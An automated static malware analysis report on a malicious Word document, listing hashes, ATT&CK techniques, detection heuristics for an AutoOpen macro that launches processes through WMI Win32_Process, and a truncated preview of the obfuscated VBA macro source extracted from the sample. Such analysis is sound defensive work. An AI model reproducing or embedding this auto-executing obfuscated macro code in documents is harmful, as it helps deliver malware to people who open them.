Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69ac602fcd6bee7f…

MALICIOUS

Office (OLE)

204.0 KB Created: 2019-04-11 17:14:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 788b271f503722261a3cd90c1f2175fe SHA-1: b7843d3e4d28a883513a1e08c943f76f207e7d89 SHA-256: 69ac602fcd6bee7f17fc88fa1fe47fa4b98a09e566111fbaa0804242137f34d5
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. This macro utilizes GetObject and CreateObject to launch the Win32_Process service, indicating an intent to execute arbitrary code. The presence of legacy WordBasic auto-exec markers and the critical ClamAV detection further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.00536d-6937385-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6937385-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36049 bytes
SHA-256: b44b1eafdb80663bee5fd115e614a6284206bf0ed1333d3c8ea39f8c94676b0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZX_QwwZw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZQAAoAx"
Attribute VB_Base = "0{BF786885-C03D-4C01-97C0-3A0D12662D74}{4FCBF321-1448-417D-8B76-DA1EC08F10CD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hDAZ1DAC"
Attribute VB_Base = "0{BF6E5CFB-40A5-4F49-9516-56A663F40639}{B16C9257-D118-48F5-B001-8139CD022FEC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "KA4Q1k"
Sub autoopen()
   If OQXZAx1 = vUADADA Then
  Do While BAAABB And HQUQkC
      While mAGcQA And 232955648
         MABGxxc = Asc(671521870 / Oct(858637647))
      Wend
      For T_cAAD = 881580565 To 521320678
         oAAAUACA = 410604154
      Next
      Set m1AQUZ = mkAA1A1A
      If jAUCA_ Eqv 311878149 Then
         R4x4AZo = CDate(iBw4QQ)
      End If
      While a1AQAZB < rZQBo_oA
         lZACAD = (pADUCw)
Wend
   Loop
End If
   If zAAQ_A = TDwBAkoA Then
  Do While GQAw4D1 And oDUkAwAQ
      While BGwA4QxA And 195575076
         iDcAAAZ = Asc(711213471 / Oct(653272639))
      Wend
      For OoA4GCA = 601303271 To 1018017
         rZUoAA = 688525348
      Next
      Set F1AXcA = VBAxwBUD
      If tAo4ABUA Eqv 475816982 Then
         cAxDQDc = CDate(fAxUXAQA)
      End If
      While QQAAAZAZ < oAAZUoZ
         kXUADUCA = (mDwGBkB)
Wend
   Loop
End If
   If VDkUQcUQ = GUCADoQD Then
  Do While UwBAAxBA And tAAQAA
      While iAAQQAA And 119437934
         nAw_kXAX = Asc(773598910 / Oct(227454461))
      Wend
      For VAc_DCcA = 422940748 To 132111027
         o1AAAw_x = 872364385
      Next
      Set TDUAADU = DBUAQA
      If HUA4QAU Eqv 795277761 Then
         nQQQo4A4 = CDate(vAAUG4AC)
      End If
      While tkCcoA < sAGAc1CA
         zAUACBB = (fCAZQoc)
Wend
   Loop
End If
BwAUDA
   If vXkAAk = k_UoAAAC Then
  Do While sQQ_AUUx And ikAAAGA
      While dBA4A4U And 819497141
         CA_o4AQA = Asc(439352402 / Oct(141177637))
      Wend
      For WcGABGw = 754376000 To 775008992
         UQAUAooG = 892338118
      Next
      Set E1kAwA = tDAAU_
      If BABox4AD Eqv 110717399 Then
         sBB_ZAXo = CDate(RAAUQQ)
      End If
      While fAAcDB < tw_oAk
         ZG1oAQwB = (j1AZ_DoA)
Wend
   Loop
End If
   If iZk4AAD = aUBAA1 Then
  Do While PXAXX1BG And qkQAAww
      While GC_UUc And 141333436
         u_c1xX = Asc(957398047 / Oct(1337302))
      Wend
      For YwQCAQ = 559864217 To 109745368
         iDAAXZUB = 809478801
      Next
      Set CUZAUQ = TQAkCA
      If AUBBoGA Eqv 413189364 Then
         cDQ_kXA = CDate(bAXAxAc)
      End If
      While fwoG1A < wkADAD
         zA4AAB = (RDQAABQo)
Wend
   Loop
End If
   If WADQQBw = EU1wZUD Then
  Do While AUxGk1oA And EBAAcAUw
      While dQQDXQw And 810591109
         qAAAXD = Asc(389784457 / Oct(740738742))
      Wend
      For tZADAAQB = 329377115 To 819528909
         NwDwAGZ = 572455187
      Next
      Set zxADCA = BCAA4DkA
      If nG_wUAZ Eqv 673535044 Then
         WAADAQZA = CDate(kD4AAow)
      End If
      While OkXACAD < fUoABA_1
         PABZkwBU = (XQDAA1)
Wend
   Loop
End If
End Sub

Attribute VB_Name = "QBDXQxBQ"
Function BwAUDA()
On Error Resume Next
   If RQoQxxAA = IAQQ_DA Then
  Do While zxxxQA And AAQ4AwCA
      While dUADAx And 664579360
         f1AkXxG = Asc(265753082 / Oct(903827332))
      Wend
      For FAAAA4AA = 412750497 To 432005789
         J1AXABD = 24679
      Next
      Set c4BBXA = zABBCC
      If wAUAAA Eqv 23813611 Then
         qA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.